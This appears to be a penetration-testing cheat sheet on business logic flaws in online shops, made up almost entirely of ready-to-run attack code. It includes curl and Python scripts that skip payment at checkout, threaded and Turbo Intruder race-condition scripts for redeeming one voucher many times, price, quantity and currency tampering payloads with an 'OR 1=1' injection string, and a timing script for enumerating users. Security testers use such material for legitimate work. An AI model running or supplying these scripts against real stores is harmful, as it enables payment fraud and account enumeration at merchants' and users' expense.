Business Logic Vulnerabilities

# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm

# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
  -H "Cookie: session=abc123" \
  -d "order_id=12345"

# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1

# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
  -d "step=1" \
  -d "action=complete"  # Try to complete entire workflow

# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge states

import requests

# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add', 
    json={'product_id': 123, 'quantity': 1})

# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment

response = session.post('https://shop.example.com/checkout/confirm', 
    json={
        'shipping_address': '123 Test St',
        'payment_method': 'credit_card',  # Claim payment done
        'payment_status': 'completed'     # Manipulate status
    })

if 'Order Confirmed' in response.text:
    print('[!] Workflow bypass successful - order without payment!')
    print(response.json())

import requests
import threading

# Target: Voucher redemption endpoint
url = 'https://target.com/api/redeem-voucher'
voucher_code = 'SAVE10'

# Race condition exploit
def redeem_voucher(thread_id):
    response = requests.post(url, 
        json={'voucher': voucher_code},
        headers={'Authorization': 'Bearer YOUR_TOKEN'})
    print(f'[Thread {thread_id}] Status: {response.status_code}')
    if response.status_code == 200:
        print(f'[Thread {thread_id}] SUCCESS: {response.json()}')

# Launch 10 simultaneous requests
threads = []
for i in range(10):
    t = threading.Thread(target=redeem_voucher, args=(i,))
    threads.append(t)
    t.start()

# Wait for all threads to complete
for t in threads:
    t.join()

print('\n[!] If multiple successes, race condition exists!')

# Burp Suite Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=20,
                          requestsPerConnection=1,
                          pipeline=False)
    
    # Send same request 50 times simultaneously
    for i in range(50):
        engine.queue(target.req, gate='race')
    
    # Open the gate - all requests sent at once
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json

{
  "product_id": 123,
  "quantity": 1,
  "price": 99.99,
  "currency": "USD",
  "discount_code": ""
}

# 2. Test price manipulation
{"price": -99.99}  # Negative price (get paid to buy)
{"price": 0}       # Zero price
{"price": 0.01}    # Minimal price
{"price": "99.99 OR 1=1"}  # SQL injection in price

# 3. Test quantity manipulation
{"quantity": -1}   # Negative quantity (add to balance?)
{"quantity": 0}    # Zero quantity (free shipping with voucher?)
{"quantity": 999999999}  # Integer overflow
{"quantity": 1.5}  # Fractional quantity

# 4. Test currency manipulation
{"currency": "XXX"}  # Invalid currency code
{"currency": "BTC"}  # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"}  # Switch to weak currency

# 5. Test parameter pollution
price=0.01&price=99.99  # Which one is used?

import requests

# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
    json={
        'items': [
            {'id': 123, 'quantity': 1, 'price': 100},
            {'id': 456, 'quantity': 1, 'price': -150}  # Negative price
        ]
    })
# Total: 100 + (-150) = -50 (shop pays YOU $50!)

# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
    json={
        'product_id': 789,
        'quantity': 2147483647  # Max 32-bit int
    })
# Quantity might wrap to negative, causing free products

# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
    json={
        'codes': ['SAVE10', 'SAVE20', 'SAVE30']  # Multiple codes
    })
# If not validated, might stack 10% + 20% + 30% = 60% off

# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay ₹100 (~$0.007)

session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json())  # Check final price

import requests
import time

# Test for user enumeration via timing
def test_timing(email):
    start = time.time()
    response = requests.post('https://target.com/login',
        json={'email': email, 'password': 'wrong'})
    elapsed = time.time() - start
    return elapsed

# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')

# If timing difference > 100ms, user enumeration possible